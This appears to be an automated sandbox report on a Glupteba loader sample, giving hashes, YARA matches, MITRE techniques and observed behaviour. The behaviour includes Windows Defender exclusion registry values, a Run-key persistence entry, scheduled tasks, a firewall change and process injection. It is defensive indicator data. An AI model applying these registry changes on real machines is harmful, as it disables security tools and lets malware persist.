glupteba | 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904

Analysis

max time kernel
148s
max time network
155s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
25-11-2022 09:24

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General

Target

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Size

3.8MB
MD5

eea23ae4a9b1b328d815f93a7ce6cc7b
SHA1

a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff
SHA256

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904
SHA512

9daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac
SSDEEP

98304:uSUWsCvxkFWk1R5N+kTncjlGwEuwt8XqUKT2no2UefXXv1PGpg9T:uYsCvxwdlOlGU3XqUu2fRfX9Gpg9

Score

10^/10

glupteba discovery dropper evasion loader persistence trojan

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 9 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1092-56-0x0000000003830000-0x0000000003F22000-memory.dmp	family_glupteba
behavioral1/memory/1092-57-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral1/memory/1092-58-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral1/memory/1092-60-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral1/memory/988-65-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral1/memory/988-66-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral1/memory/988-72-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral1/memory/2000-74-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba
behavioral1/memory/2000-75-0x0000000000400000-0x000000000314B000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WispySun = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cloudnet.exe = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exe

pid process

2000 csrss.exe
1320 patch.exe
1276
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1436 netsh.exe

pid	process
2000	csrss.exe
1320	patch.exe
1276

pid	process
1436	netsh.exe

Loads dropped DLL 9 IoCs

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exepatch.exe

pid	process
988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
860
1320	patch.exe
1320	patch.exe
1320	patch.exe
1320	patch.exe
1320	patch.exe
1276

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WispySun = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cloudnet.exe = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run\WispySun = "\"C:\\Windows\\rss\\csrss.exe\""	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
File created	C:\Windows\rss\csrss.exe	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20221125162529.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1500 schtasks.exe
1948 schtasks.exe

pid	process
1500	schtasks.exe
1948	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.execsrss.exe

pid	process
1092	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
2000	csrss.exe
2000	csrss.exe
2000	csrss.exe
2000	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1092	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Token: SeImpersonatePrivilege	1092	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Token: SeSystemEnvironmentPrivilege	2000	csrss.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.execmd.exe

description	pid	process	target process
PID 988 wrote to memory of 316	988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	cmd.exe
PID 988 wrote to memory of 316	988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	cmd.exe
PID 988 wrote to memory of 316	988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	cmd.exe
PID 988 wrote to memory of 316	988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	cmd.exe
PID 316 wrote to memory of 1436	316	cmd.exe	netsh.exe
PID 316 wrote to memory of 1436	316	cmd.exe	netsh.exe
PID 316 wrote to memory of 1436	316	cmd.exe	netsh.exe
PID 988 wrote to memory of 2000	988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	csrss.exe
PID 988 wrote to memory of 2000	988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	csrss.exe
PID 988 wrote to memory of 2000	988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	csrss.exe
